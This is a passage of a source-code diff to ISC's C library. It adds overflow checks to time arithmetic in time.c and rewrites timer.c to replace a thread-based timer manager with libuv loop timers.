 isc_time_add(const isc_time_t *t, const isc_interval_t *i, isc_time_t *result) {
 	REQUIRE(t != NULL && i != NULL && result != NULL);
-	INSIST(t->nanoseconds < NS_PER_S && i->nanoseconds < NS_PER_S);
+	REQUIRE(t->nanoseconds < NS_PER_SEC && i->nanoseconds < NS_PER_SEC);
 
-	/*
-	 * Ensure the resulting seconds value fits in the size of an
-	 * unsigned int.  (It is written this way as a slight optimization;
-	 * note that even if both values == INT_MAX, then when added
-	 * and getting another 1 added below the result is UINT_MAX.)
-	 */
-	if ((t->seconds > INT_MAX || i->seconds > INT_MAX) &&
-	    ((long long)t->seconds + i->seconds > UINT_MAX))
-	{
+	/* Seconds */
+	if (ISC_OVERFLOW_ADD(t->seconds, i->seconds, &result->seconds)) {
 		return (ISC_R_RANGE);
 	}
 
-	result->seconds = t->seconds + i->seconds;
+	/* Nanoseconds */
 	result->nanoseconds = t->nanoseconds + i->nanoseconds;
-	if (result->nanoseconds >= NS_PER_S) {
+	if (result->nanoseconds >= NS_PER_SEC) {
+		if (result->seconds == UINT_MAX) {
+			return (ISC_R_RANGE);
+		}
+		result->nanoseconds -= NS_PER_SEC;
 		result->seconds++;
-		result->nanoseconds -= NS_PER_S;
 	}
 
 	return (ISC_R_SUCCESS);
@@ -248,22 +208,23 @@ isc_result_t
 isc_time_subtract(const isc_time_t *t, const isc_interval_t *i,
 		  isc_time_t *result) {
 	REQUIRE(t != NULL && i != NULL && result != NULL);
-	INSIST(t->nanoseconds < NS_PER_S && i->nanoseconds < NS_PER_S);
+	REQUIRE(t->nanoseconds < NS_PER_SEC && i->nanoseconds < NS_PER_SEC);
 
-	if ((unsigned int)t->seconds < i->seconds ||
-	    ((unsigned int)t->seconds == i->seconds &&
-	     t->nanoseconds < i->nanoseconds))
-	{
+	/* Seconds */
+	if (ISC_OVERFLOW_SUB(t->seconds, i->seconds, &result->seconds)) {
 		return (ISC_R_RANGE);
 	}
 
-	result->seconds = t->seconds - i->seconds;
+	/* Nanoseconds */
 	if (t->nanoseconds >= i->nanoseconds) {
 		result->nanoseconds = t->nanoseconds - i->nanoseconds;
 	} else {
-		result->nanoseconds = NS_PER_S - i->nanoseconds +
-				      t->nanoseconds;
+		if (result->seconds == 0) {
+			return (ISC_R_RANGE);
+		}
 		result->seconds--;
+		result->nanoseconds = NS_PER_SEC + t->nanoseconds -
+				      i->nanoseconds;
 	}
 
 	return (ISC_R_SUCCESS);
@@ -274,10 +235,10 @@ isc_time_microdiff(const isc_time_t *t1, const isc_time_t *t2) {
 	uint64_t i1, i2, i3;
 
 	REQUIRE(t1 != NULL && t2 != NULL);
-	INSIST(t1->nanoseconds < NS_PER_S && t2->nanoseconds < NS_PER_S);
+	INSIST(t1->nanoseconds < NS_PER_SEC && t2->nanoseconds < NS_PER_SEC);
 
-	i1 = (uint64_t)t1->seconds * NS_PER_S + t1->nanoseconds;
-	i2 = (uint64_t)t2->seconds * NS_PER_S + t2->nanoseconds;
+	i1 = (uint64_t)t1->seconds * NS_PER_SEC + t1->nanoseconds;
+	i2 = (uint64_t)t2->seconds * NS_PER_SEC + t2->nanoseconds;
 
 	if (i1 <= i2) {
 		return (0);
@@ -296,7 +257,7 @@ isc_time_microdiff(const isc_time_t *t1, const isc_time_t *t2) {
 uint32_t
 isc_time_seconds(const isc_time_t *t) {
 	REQUIRE(t != NULL);
-	INSIST(t->nanoseconds < NS_PER_S);
+	INSIST(t->nanoseconds < NS_PER_SEC);
 
 	return ((uint32_t)t->seconds);
 }
@@ -306,24 +267,24 @@ isc_time_secondsastimet(const isc_time_t *t, time_t *secondsp) {
 	time_t seconds;
 
 	REQUIRE(t != NULL);
-	INSIST(t->nanoseconds < NS_PER_S);
+	INSIST(t->nanoseconds < NS_PER_SEC);
 
 	/*
 	 * Ensure that the number of seconds represented by t->seconds
-	 * can be represented by a time_t.  Since t->seconds is an unsigned
-	 * int and since time_t is mostly opaque, this is trickier than
-	 * it seems.  (This standardized opaqueness of time_t is *very*
-	 * frustrating; time_t is not even limited to being an integral
-	 * type.)
+	 * can be represented by a time_t.  Since t->seconds is an
+	 * unsigned int and since time_t is mostly opaque, this is
+	 * trickier than it seems.  (This standardized opaqueness of
+	 * time_t is *very* frustrating; time_t is not even limited to
+	 * being an integral type.)
 	 *
 	 * The mission, then, is to avoid generating any kind of warning
-	 * about "signed versus unsigned" while trying to determine if the
-	 * the unsigned int t->seconds is out range for tv_sec, which is
-	 * pretty much only true if time_t is a signed integer of the same
-	 * size as the return value of isc_time_seconds.
+	 * about "signed versus unsigned" while trying to determine if
+	 * the unsigned int t->seconds is out range for tv_sec,
+	 * which is pretty much only true if time_t is a signed integer
+	 * of the same size as the return value of isc_time_seconds.
 	 *
-	 * If the paradox in the if clause below is true, t->seconds is out
-	 * of range for time_t.
+	 * If the paradox in the if clause below is true, t->seconds is
+	 * out of range for time_t.
 	 */
 	seconds = (time_t)t->seconds;
 
@@ -343,11 +304,19 @@ uint32_t
 isc_time_nanoseconds(const isc_time_t *t) {
 	REQUIRE(t != NULL);
 
-	ENSURE(t->nanoseconds < NS_PER_S);
+	ENSURE(t->nanoseconds < NS_PER_SEC);
 
 	return ((uint32_t)t->nanoseconds);
 }
 
+uint32_t
+isc_time_miliseconds(const isc_time_t *t) {
+	REQUIRE(t != NULL);
+	INSIST(t->nanoseconds < NS_PER_SEC);
+
+	return ((t->seconds * MS_PER_SEC) + (t->nanoseconds / NS_PER_MS));
+}
+
 void
 isc_time_formattimestamp(const isc_time_t *t, char *buf, unsigned int len) {
 	time_t now;
@@ -355,7 +324,7 @@ isc_time_formattimestamp(const isc_time_t *t, char *buf, unsigned int len) {
 	struct tm tm;
 
 	REQUIRE(t != NULL);
-	INSIST(t->nanoseconds < NS_PER_S);
+	INSIST(t->nanoseconds < NS_PER_SEC);
 	REQUIRE(buf != NULL);
 	REQUIRE(len > 0);
 
@@ -377,12 +346,13 @@ isc_time_formathttptimestamp(const isc_time_t *t, char *buf, unsigned int len) {
 	struct tm tm;
 
 	REQUIRE(t != NULL);
-	INSIST(t->nanoseconds < NS_PER_S);
+	INSIST(t->nanoseconds < NS_PER_SEC);
 	REQUIRE(buf != NULL);
 	REQUIRE(len > 0);
 
 	/*
-	 * 5 spaces, 1 comma, 3 GMT, 2 %d, 4 %Y, 8 %H:%M:%S, 3+ %a, 3+ %b (29+)
+	 * 5 spaces, 1 comma, 3 GMT, 2 %d, 4 %Y, 8 %H:%M:%S, 3+ %a, 3+
+	 * %b (29+)
 	 */
 	now = (time_t)t->seconds;
 	flen = strftime(buf, len, "%a, %d %b %Y %H:%M:%S GMT",
@@ -418,7 +388,7 @@ isc_time_formatISO8601L(const isc_time_t *t, char *buf, unsigned int len) {
 	struct tm tm;
 
 	REQUIRE(t != NULL);
-	INSIST(t->nanoseconds < NS_PER_S);
+	INSIST(t->nanoseconds < NS_PER_SEC);
 	REQUIRE(buf != NULL);
 	REQUIRE(len > 0);
 
@@ -434,7 +404,7 @@ isc_time_formatISO8601Lms(const isc_time_t *t, char *buf, unsigned int len) {
 	struct tm tm;
 
 	REQUIRE(t != NULL);
-	INSIST(t->nanoseconds < NS_PER_S);
+	INSIST(t->nanoseconds < NS_PER_SEC);
 	REQUIRE(buf != NULL);
 	REQUIRE(len > 0);
 
@@ -454,7 +424,7 @@ isc_time_formatISO8601Lus(const isc_time_t *t, char *buf, unsigned int len) {
 	struct tm tm;
 
 	REQUIRE(t != NULL);
-	INSIST(t->nanoseconds < NS_PER_S);
+	INSIST(t->nanoseconds < NS_PER_SEC);
 	REQUIRE(buf != NULL);
 	REQUIRE(len > 0);
 
@@ -474,7 +444,7 @@ isc_time_formatISO8601(const isc_time_t *t, char *buf, unsigned int len) {
 	struct tm tm;
 
 	REQUIRE(t != NULL);
-	INSIST(t->nanoseconds < NS_PER_S);
+	INSIST(t->nanoseconds < NS_PER_SEC);
 	REQUIRE(buf != NULL);
 	REQUIRE(len > 0);
 
@@ -490,7 +460,7 @@ isc_time_formatISO8601ms(const isc_time_t *t, char *buf, unsigned int len) {
 	struct tm tm;
 
 	REQUIRE(t != NULL);
-	INSIST(t->nanoseconds < NS_PER_S);
+	INSIST(t->nanoseconds < NS_PER_SEC);
 	REQUIRE(buf != NULL);
 	REQUIRE(len > 0);
 
@@ -511,7 +481,7 @@ isc_time_formatISO8601us(const isc_time_t *t, char *buf, unsigned int len) {
 	struct tm tm;
 
 	REQUIRE(t != NULL);
-	INSIST(t->nanoseconds < NS_PER_S);
+	INSIST(t->nanoseconds < NS_PER_SEC);
 	REQUIRE(buf != NULL);
 	REQUIRE(len > 0);
 
@@ -533,7 +503,7 @@ isc_time_formatshorttimestamp(const isc_time_t *t, char *buf,
 	struct tm tm;
 
 	REQUIRE(t != NULL);
-	INSIST(t->nanoseconds < NS_PER_S);
+	INSIST(t->nanoseconds < NS_PER_SEC);
 	REQUIRE(buf != NULL);
 	REQUIRE(len > 0);
 
diff --git a/lib/isc/timer.c b/lib/isc/timer.c
index eb8a17cfc0..e277ea7559 100644
--- a/lib/isc/timer.c
+++ b/lib/isc/timer.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -13,725 +15,185 @@
 
 #include <stdbool.h>
 
-#include <isc/app.h>
+#include <isc/async.h>
 #include <isc/condition.h>
 #include <isc/heap.h>
+#include <isc/job.h>
 #include <isc/log.h>
 #include <isc/magic.h>
 #include <isc/mem.h>
 #include <isc/once.h>
-#include <isc/platform.h>
-#include <isc/print.h>
 #include <isc/refcount.h>
-#include <isc/task.h>
 #include <isc/thread.h>
 #include <isc/time.h>
 #include <isc/timer.h>
 #include <isc/util.h>
+#include <isc/uv.h>
 
-#include "timer_p.h"
-
-#ifdef ISC_TIMER_TRACE
-#define XTRACE(s)      fprintf(stderr, "%s\n", (s))
-#define XTRACEID(s, t) fprintf(stderr, "%s %p\n", (s), (t))
-#define XTRACETIME(s, d) \
-	fprintf(stderr, "%s %u.%09u\n", (s), (d).seconds, (d).nanoseconds)
-#define XTRACETIME2(s, d, n)                                      \
-	fprintf(stderr, "%s %u.%09u %u.%09u\n", (s), (d).seconds, \
-		(d).nanoseconds, (n).seconds, (n).nanoseconds)
-#define XTRACETIMER(s, t, d)                                      \
-	fprintf(stderr, "%s %p %u.%09u\n", (s), (t), (d).seconds, \
-		(d).nanoseconds)
-#else /* ifdef ISC_TIMER_TRACE */
-#define XTRACE(s)
-#define XTRACEID(s, t)
-#define XTRACETIME(s, d)
-#define XTRACETIME2(s, d, n)
-#define XTRACETIMER(s, t, d)
-#endif /* ISC_TIMER_TRACE */
+#include "loop_p.h"
 
 #define TIMER_MAGIC    ISC_MAGIC('T', 'I', 'M', 'R')
 #define VALID_TIMER(t) ISC_MAGIC_VALID(t, TIMER_MAGIC)
 
 struct isc_timer {
-	/*! Not locked. */
-	unsigned int magic;
-	isc_timermgr_t *manager;
-	isc_mutex_t lock;
-	isc_refcount_t references;
-	/*! Locked by timer lock. */
-	isc_time_t idle;
-	/*! Locked by manager lock. */
-	isc_timertype_t type;
-	isc_time_t expires;
-	isc_interval_t interval;
-	isc_task_t *task;
-	isc_taskaction_t action;
-	void *arg;
-	unsigned int index;
-	isc_time_t due;
-	LINK(isc_timer_t) link;
-};
-
-#define TIMER_MANAGER_MAGIC ISC_MAGIC('T', 'I', 'M', 'M')
-#define VALID_MANAGER(m)    ISC_MAGIC_VALID(m, TIMER_MANAGER_MAGIC)
-
-struct isc_timermgr {
-	/* Not locked. */
 	unsigned int magic;
-	isc_mem_t *mctx;
-	isc_mutex_t lock;
-	/* Locked by manager lock. */
-	bool done;
-	LIST(isc_timer_t) timers;
-	unsigned int nscheduled;
-	isc_time_t due;
-	isc_condition_t wakeup;
-	isc_thread_t thread;
-	isc_heap_t *heap;
+	isc_loop_t *loop;
+	uv_timer_t timer;
+	isc_job_cb cb;
+	void *cbarg;
+	uint64_t timeout;
+	uint64_t repeat;
+	atomic_bool running;
 };
 
 void
-isc_timermgr_poke(isc_timermgr_t *manager);
-
-static inline isc_result_t
-schedule(isc_timer_t *timer, isc_time_t *now, bool signal_ok) {
-	isc_result_t result;
-	isc_timermgr_t *manager;
-	isc_time_t due;
-
-	/*!
-	 * Note: the caller must ensure locking.
-	 */
-
-	REQUIRE(timer->type != isc_timertype_inactive);
-
-	manager = timer->manager;
-
-	/*
-	 * Compute the new due time.
-	 */
-	if (timer->type != isc_timertype_once) {
-		result = isc_time_add(now, &timer->interval, &due);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-		if (timer->type == isc_timertype_limited &&
-		    isc_time_compare(&timer->expires, &due) < 0)
-		{
-			due = timer->expires;
-		}
-	} else {
-		if (isc_time_isepoch(&timer->idle)) {
-			due = timer->expires;
-		} else if (isc_time_isepoch(&timer->expires)) {
-			due = timer->idle;
-		} else if (isc_time_compare(&timer->idle, &timer->expires) < 0)
-		{
-			due = timer->idle;
-		} else {
-			due = timer->expires;
-		}
-	}
-
-	/*
-	 * Schedule the timer.
-	 */
-
-	if (timer->index > 0) {
-		/*
-		 * Already scheduled.
-		 */
-		int cmp = isc_time_compare(&due, &timer->due);
-		timer->due = due;
-		switch (cmp) {
-		case -1:
-			isc_heap_increased(manager->heap, timer->index);
-			break;
-		case 1:
-			isc_heap_decreased(manager->heap, timer->index);
-			break;
-		case 0:
-			/* Nothing to do. */
-			break;
-		}
-	} else {
-		timer->due = due;
-		result = isc_heap_insert(manager->heap, timer);
-		if (result != ISC_R_SUCCESS) {
-			INSIST(result == ISC_R_NOMEMORY);
-			return (ISC_R_NOMEMORY);
-		}
-		manager->nscheduled++;
-	}
-
-	XTRACETIMER("schedule", timer, due);
-
-	/*
-	 * If this timer is at the head of the queue, we need to ensure
-	 * that we won't miss it if it has a more recent due time than
-	 * the current "next" timer.  We do this either by waking up the
-	 * run thread, or explicitly setting the value in the manager.
-	 */
-
-	if (timer->index == 1 && signal_ok) {
-		XTRACE("signal (schedule)");
-		SIGNAL(&manager->wakeup);
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
-static inline void
-deschedule(isc_timer_t *timer) {
-	isc_timermgr_t *manager;
-
-	/*
-	 * The caller must ensure locking.
-	 */
-
-	manager = timer->manager;
-	if (timer->index > 0) {
-		bool need_wakeup = false;
-		if (timer->index == 1) {
-			need_wakeup = true;
-		}
-		isc_heap_delete(manager->heap, timer->index);
-		timer->index = 0;
-		INSIST(manager->nscheduled > 0);
-		manager->nscheduled--;
-		if (need_wakeup) {
-			XTRACE("signal (deschedule)");
-			SIGNAL(&manager->wakeup);
-		}
-	}
-}
-
-static void
-destroy(isc_timer_t *timer) {
-	isc_timermgr_t *manager = timer->manager;
-
-	/*
-	 * The caller must ensure it is safe to destroy the timer.
-	 */
-
-	LOCK(&manager->lock);
-
-	(void)isc_task_purgerange(timer->task, timer, ISC_TIMEREVENT_FIRSTEVENT,
-				  ISC_TIMEREVENT_LASTEVENT, NULL);
-	deschedule(timer);
-
-	UNLINK(manager->timers, timer, link);
-
-	UNLOCK(&manager->lock);
-
-	isc_task_detach(&timer->task);
-	isc_mutex_destroy(&timer->lock);
-	timer->magic = 0;
-	isc_mem_put(manager->mctx, timer, sizeof(*timer));
-}
-
-isc_result_t
-isc_timer_create(isc_timermgr_t *manager, isc_timertype_t type,
-		 const isc_time_t *expires, const isc_interval_t *interval,
-		 isc_task_t *task, isc_taskaction_t action, void *arg,
+isc_timer_create(isc_loop_t *loop, isc_job_cb cb, void *cbarg,
 		 isc_timer_t **timerp) {
-	REQUIRE(VALID_MANAGER(manager));
-	REQUIRE(task != NULL);
-	REQUIRE(action != NULL);
-
+	int r;
 	isc_timer_t *timer;
-	isc_result_t result;
-	isc_time_t now;
-
-	/*
-	 * Create a new 'type' timer managed by 'manager'.  The timers
-	 * parameters are specified by 'expires' and 'interval'.  Events
-	 * will be posted to 'task' and when dispatched 'action' will be
-	 * called with 'arg' as the arg value.  The new timer is returned
-	 * in 'timerp'.
-	 */
-	if (expires == NULL) {
-		expires = isc_time_epoch;
-	}
-	if (interval == NULL) {
-		interval = isc_interval_zero;
-	}
-	REQUIRE(type == isc_timertype_inactive ||
-		!(isc_time_isepoch(expires) && isc_interval_iszero(interval)));
+	isc_loopmgr_t *loopmgr = NULL;
+
+	REQUIRE(cb != NULL);
 	REQUIRE(timerp != NULL && *timerp == NULL);
-	REQUIRE(type != isc_timertype_limited ||
-		!(isc_time_isepoch(expires) || isc_interval_iszero(interval)));
-
-	/*
-	 * Get current time.
-	 */
-	if (type != isc_timertype_inactive) {
-		TIME_NOW(&now);
-	} else {
-		/*
-		 * We don't have to do this, but it keeps the compiler from
-		 * complaining about "now" possibly being used without being
-		 * set, even though it will never actually happen.
-		 */
-		isc_time_settoepoch(&now);
-	}
 
-	timer = isc_mem_get(manager->mctx, sizeof(*timer));
+	REQUIRE(VALID_LOOP(loop));
 
-	timer->manager = manager;
-	isc_refcount_init(&timer->references, 1);
+	loopmgr = loop->loopmgr;
 
-	if (type == isc_timertype_once && !isc_interval_iszero(interval)) {
-		result = isc_time_add(&now, interval, &timer->idle);
-		if (result != ISC_R_SUCCESS) {
-			isc_mem_put(manager->mctx, timer, sizeof(*timer));
-			return (result);
-		}
-	} else {
-		isc_time_settoepoch(&timer->idle);
-	}
+	REQUIRE(VALID_LOOPMGR(loopmgr));
 
-	timer->type = type;
-	timer->expires = *expires;
-	timer->interval = *interval;
-	timer->task = NULL;
-	isc_task_attach(task, &timer->task);
-	timer->action = action;
-	/*
-	 * Removing the const attribute from "arg" is the best of two
-	 * evils here.  If the timer->arg member is made const, then
-	 * it affects a great many recipients of the timer event
-	 * which did not pass in an "arg" that was truly const.
-	 * Changing isc_timer_create() to not have "arg" prototyped as const,
-	 * though, can cause compilers warnings for calls that *do*
-	 * have a truly const arg.  The caller will have to carefully
-	 * keep track of whether arg started as a true const.
-	 */
-	DE_CONST(arg, timer->arg);
-	timer->index = 0;
-	isc_mutex_init(&timer->lock);
-	ISC_LINK_INIT(timer, link);
-	timer->magic = TIMER_MAGIC;
-
-	LOCK(&manager->lock);
-
-	/*
-	 * Note we don't have to lock the timer like we normally would because
-	 * there are no external references to it yet.
-	 */
-
-	if (type != isc_timertype_inactive) {
-		result = schedule(timer, &now, true);
-	} else {
-		result = ISC_R_SUCCESS;
-	}
-	if (result == ISC_R_SUCCESS) {
-		*timerp = timer;
-		APPEND(manager->timers, timer, link);
-	}
+	REQUIRE(loop == isc_loop_current(loopmgr));
 
-	UNLOCK(&manager->lock);
+	timer = isc_mem_get(loop->mctx, sizeof(*timer));
+	*timer = (isc_timer_t){
+		.cb = cb,
+		.cbarg = cbarg,
+		.magic = TIMER_MAGIC,
+	};
 
-	if (result != ISC_R_SUCCESS) {
-		timer->magic = 0;
-		isc_mutex_destroy(&timer->lock);
-		isc_task_detach(&timer->task);
-		isc_mem_put(manager->mctx, timer, sizeof(*timer));
-		return (result);
-	}
+	isc_loop_attach(loop, &timer->loop);
 
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-isc_timer_reset(isc_timer_t *timer, isc_timertype_t type,
-		const isc_time_t *expires, const isc_interval_t *interval,
-		bool purge) {
-	isc_time_t now;
-	isc_timermgr_t *manager;
-	isc_result_t result;
+	r = uv_timer_init(&loop->loop, &timer->timer);
+	UV_RUNTIME_CHECK(uv_timer_init, r);
+	uv_handle_set_data(&timer->timer, timer);
 
-	/*
-	 * Change the timer's type, expires, and interval values to the given
-	 * values.  If 'purge' is true, any pending events from this timer
-	 * are purged from its task's event queue.
-	 */
+	*timerp = timer;
+}
 
+void
+isc_timer_stop(isc_timer_t *timer) {
 	REQUIRE(VALID_TIMER(timer));
-	manager = timer->manager;
-	REQUIRE(VALID_MANAGER(manager));
 
-	if (expires == NULL) {
-		expires = isc_time_epoch;
-	}
-	if (interval == NULL) {
-		interval = isc_interval_zero;
-	}
-	REQUIRE(type == isc_timertype_inactive ||
-		!(isc_time_isepoch(expires) && isc_interval_iszero(interval)));
-	REQUIRE(type != isc_timertype_limited ||
-		!(isc_time_isepoch(expires) || isc_interval_iszero(interval)));
-
-	/*
-	 * Get current time.
-	 */
-	if (type != isc_timertype_inactive) {
-		TIME_NOW(&now);
-	} else {
-		/*
-		 * We don't have to do this, but it keeps the compiler from
-		 * complaining about "now" possibly being used without being
-		 * set, even though it will never actually happen.
-		 */
-		isc_time_settoepoch(&now);
-	}
-
-	LOCK(&manager->lock);
-	LOCK(&timer->lock);
-
-	if (purge) {
-		(void)isc_task_purgerange(timer->task, timer,
-					  ISC_TIMEREVENT_FIRSTEVENT,
-					  ISC_TIMEREVENT_LASTEVENT, NULL);
-	}
-	timer->type = type;
-	timer->expires = *expires;
-	timer->interval = *interval;
-	if (type == isc_timertype_once && !isc_interval_iszero(interval)) {
-		result = isc_time_add(&now, interval, &timer->idle);
-	} else {
-		isc_time_settoepoch(&timer->idle);
-		result = ISC_R_SUCCESS;
+	if (!atomic_compare_exchange_strong_acq_rel(&timer->running,
+						    &(bool){ true }, false))
+	{
+		/* Timer was already stopped */
+		return;
 	}
 
-	if (result == ISC_R_SUCCESS) {
-		if (type == isc_timertype_inactive) {
-			deschedule(timer);
-			result = ISC_R_SUCCESS;
-		} else {
-			result = schedule(timer, &now, true);
-		}
+	/* Stop the timer, if the loops are matching */
+	if (timer->loop == isc_loop_current(timer->loop->loopmgr)) {
+		uv_timer_stop(&timer->timer);
 	}
-
-	UNLOCK(&timer->lock);
-	UNLOCK(&manager->lock);
-
-	return (result);
-}
-
-isc_timertype_t
-isc_timer_gettype(isc_timer_t *timer) {
-	isc_timertype_t t;
-
-	REQUIRE(VALID_TIMER(timer));
-
-	LOCK(&timer->lock);
-	t = timer->type;
-	UNLOCK(&timer->lock);
-
-	return (t);
 }
 
-isc_result_t
-isc_timer_touch(isc_timer_t *timer) {
-	isc_result_t result;
-	isc_time_t now;
-
-	/*
-	 * Set the last-touched time of 'timer' to the current time.
-	 */
+static void
+timer_cb(uv_timer_t *handle) {
+	isc_timer_t *timer = uv_handle_get_data(handle);
 
 	REQUIRE(VALID_TIMER(timer));
 
-	LOCK(&timer->lock);
-
-	/*
-	 * We'd like to
-	 *
-	 *	REQUIRE(timer->type == isc_timertype_once);
-	 *
-	 * but we cannot without locking the manager lock too, which we
-	 * don't want to do.
-	 */
-
-	TIME_NOW(&now);
-	result = isc_time_add(&now, &timer->interval, &timer->idle);
-
-	UNLOCK(&timer->lock);
+	if (!atomic_load_acquire(&timer->running)) {
+		uv_timer_stop(&timer->timer);
+		return;
+	}
 
-	return (result);
+	timer->cb(timer->cbarg);
 }
 
 void
-isc_timer_attach(isc_timer_t *timer, isc_timer_t **timerp) {
+isc_timer_start(isc_timer_t *timer, isc_timertype_t type,
+		const isc_interval_t *interval) {
+	isc_loopmgr_t *loopmgr = NULL;
+	isc_loop_t *loop = NULL;
+	int r;
+
 	REQUIRE(VALID_TIMER(timer));
-	REQUIRE(timerp != NULL && *timerp == NULL);
-	isc_refcount_increment(&timer->references);
+	REQUIRE(type == isc_timertype_ticker || type == isc_timertype_once);
+	REQUIRE(timer->loop == isc_loop_current(timer->loop->loopmgr));
 
-	*timerp = timer;
-}
+	loop = timer->loop;
 
-void
-isc_timer_detach(isc_timer_t **timerp) {
-	isc_timer_t *timer;
+	REQUIRE(VALID_LOOP(loop));
 
-	/*
-	 * Detach *timerp from its timer.
-	 */
+	loopmgr = loop->loopmgr;
 
-	REQUIRE(timerp != NULL);
-	timer = *timerp;
-	REQUIRE(VALID_TIMER(timer));
+	REQUIRE(VALID_LOOPMGR(loopmgr));
 
-	if (isc_refcount_decrement(&timer->references) == 1) {
-		destroy(timer);
+	switch (type) {
+	case isc_timertype_once:
+		timer->timeout = isc_interval_ms(interval);
+		timer->repeat = 0;
+		break;
+	case isc_timertype_ticker:
+		timer->timeout = timer->repeat = isc_interval_ms(interval);
+		break;
+	default:
+		UNREACHABLE();
 	}
 
-	*timerp = NULL;
+	atomic_store_release(&timer->running, true);
+	r = uv_timer_start(&timer->timer, timer_cb, timer->timeout,
+			   timer->repeat);
+	UV_RUNTIME_CHECK(uv_timer_start, r);
 }
 
 static void
-dispatch(isc_timermgr_t *manager, isc_time_t *now) {
-	bool done = false, post_event, need_schedule;
-	isc_timerevent_t *event;
-	isc_eventtype_t type = 0;
-	isc_timer_t *timer;
-	isc_result_t result;
-	bool idle;
-
-	/*!
-	 * The caller must be holding the manager lock.
-	 */
-
-	while (manager->nscheduled > 0 && !done) {
-		timer = isc_heap_element(manager->heap, 1);
-		INSIST(timer != NULL && timer->type != isc_timertype_inactive);
-		if (isc_time_compare(now, &timer->due) >= 0) {
-			if (timer->type == isc_timertype_ticker) {
-				type = ISC_TIMEREVENT_TICK;
-				post_event = true;
-				need_schedule = true;
-			} else if (timer->type == isc_timertype_limited) {
-				int cmp;
-				cmp = isc_time_compare(now, &timer->expires);
-				if (cmp >= 0) {
-					type = ISC_TIMEREVENT_LIFE;
-					post_event = true;
-					need_schedule = false;
-				} else {
-					type = ISC_TIMEREVENT_TICK;
-					post_event = true;
-					need_schedule = true;
-				}
-			} else if (!isc_time_isepoch(&timer->expires) &&
-				   isc_time_compare(now, &timer->expires) >= 0)
-			{
-				type = ISC_TIMEREVENT_LIFE;
-				post_event = true;
-				need_schedule = false;
-			} else {
-				idle = false;
-
-				LOCK(&timer->lock);
-				if (!isc_time_isepoch(&timer->idle) &&
-				    isc_time_compare(now, &timer->idle) >= 0) {
-					idle = true;
-				}
-				UNLOCK(&timer->lock);
-				if (idle) {
-					type = ISC_TIMEREVENT_IDLE;
-					post_event = true;
-					need_schedule = false;
-				} else {
-					/*
-					 * Idle timer has been touched;
-					 * reschedule.
-					 */
-					XTRACEID("idle reschedule", timer);
-					post_event = false;
-					need_schedule = true;
-				}
-			}
-
-			if (post_event) {
-				XTRACEID("posting", timer);
-				/*
-				 * XXX We could preallocate this event.
-				 */
-				event = (isc_timerevent_t *)isc_event_allocate(
-					manager->mctx, timer, type,
-					timer->action, timer->arg,
-					sizeof(*event));
-
-				if (event != NULL) {
-					event->due = timer->due;
-					isc_task_send(timer->task,
-						      ISC_EVENT_PTR(&event));
-				} else {
-					UNEXPECTED_ERROR(__FILE__, __LINE__,
-							 "%s",
-							 "couldn't allocate "
-							 "event");
-				}
-			}
-
-			timer->index = 0;
-			isc_heap_delete(manager->heap, 1);
-			manager->nscheduled--;
-
-			if (need_schedule) {
-				result = schedule(timer, now, false);
-				if (result != ISC_R_SUCCESS) {
-					UNEXPECTED_ERROR(__FILE__, __LINE__,
-							 "%s: %u",
-							 "couldn't schedule "
-							 "timer",
-							 result);
-				}
-			}
-		} else {
-			manager->due = timer->due;
-			done = true;
-		}
-	}
-}
-
-static isc_threadresult_t
-run(void *uap) {
-	isc_timermgr_t *manager = uap;
-	isc_time_t now;
-	isc_result_t result;
-
-	LOCK(&manager->lock);
-	while (!manager->done) {
-		TIME_NOW(&now);
-
-		XTRACETIME("running", now);
-
-		dispatch(manager, &now);
-
-		if (manager->nscheduled > 0) {
-			XTRACETIME2("waituntil", manager->due, now);
-			result = WAITUNTIL(&manager->wakeup, &manager->lock,
-					   &manager->due);
-			INSIST(result == ISC_R_SUCCESS ||
-			       result == ISC_R_TIMEDOUT);
-		} else {
-			XTRACETIME("wait", now);
-			WAIT(&manager->wakeup, &manager->lock);
-		}
-		XTRACE("wakeup");
-	}
-	UNLOCK(&manager->lock);
+timer_close(uv_handle_t *handle) {
+	isc_timer_t *timer = uv_handle_get_data(handle);
+	isc_loop_t *loop;
 
-	return ((isc_threadresult_t)0);
-}
+	REQUIRE(VALID_TIMER(timer));
 
-static bool
-sooner(void *v1, void *v2) {
-	isc_timer_t *t1, *t2;
+	loop = timer->loop;
 
-	t1 = v1;
-	t2 = v2;
-	REQUIRE(VALID_TIMER(t1));
-	REQUIRE(VALID_TIMER(t2));
+	isc_mem_put(loop->mctx, timer, sizeof(*timer));
 
-	if (isc_time_compare(&t1->due, &t2->due) < 0) {
-		return (true);
-	}
-	return (false);
+	isc_loop_detach(&loop);
 }
 
 static void
-set_index(void *what, unsigned int index) {
-	isc_timer_t *timer;
-
-	REQUIRE(VALID_TIMER(what));
-	timer = what;
+timer_destroy(void *arg) {
+	isc_timer_t *timer = arg;
 
-	timer->index = index;
+	atomic_store_release(&timer->running, false);
+	uv_timer_stop(&timer->timer);
+	uv_close(&timer->timer, timer_close);
 }
 
-isc_result_t
-isc__timermgr_create(isc_mem_t *mctx, isc_timermgr_t **managerp) {
-	isc_timermgr_t *manager;
-	isc_result_t result;
-
-	/*
-	 * Create a timer manager.
-	 */
-
-	REQUIRE(managerp != NULL && *managerp == NULL);
-
-	manager = isc_mem_get(mctx, sizeof(*manager));
-
-	manager->magic = TIMER_MANAGER_MAGIC;
-	manager->mctx = NULL;
-	manager->done = false;
-	INIT_LIST(manager->timers);
-	manager->nscheduled = 0;
-	isc_time_settoepoch(&manager->due);
-	manager->heap = NULL;
-	result = isc_heap_create(mctx, sooner, set_index, 0, &manager->heap);
-	if (result != ISC_R_SUCCESS) {
-		INSIST(result == ISC_R_NOMEMORY);
-		isc_mem_put(mctx, manager, sizeof(*manager));
-		return (ISC_R_NOMEMORY);
-	}
-	isc_mutex_init(&manager->lock);
-	isc_mem_attach(mctx, &manager->mctx);
-	isc_condition_init(&manager->wakeup);
-	isc_thread_create(run, manager, &manager->thread);
-	isc_thread_setname(manager->thread, "isc-timer");
+void
+isc_timer_destroy(isc_timer_t **timerp) {
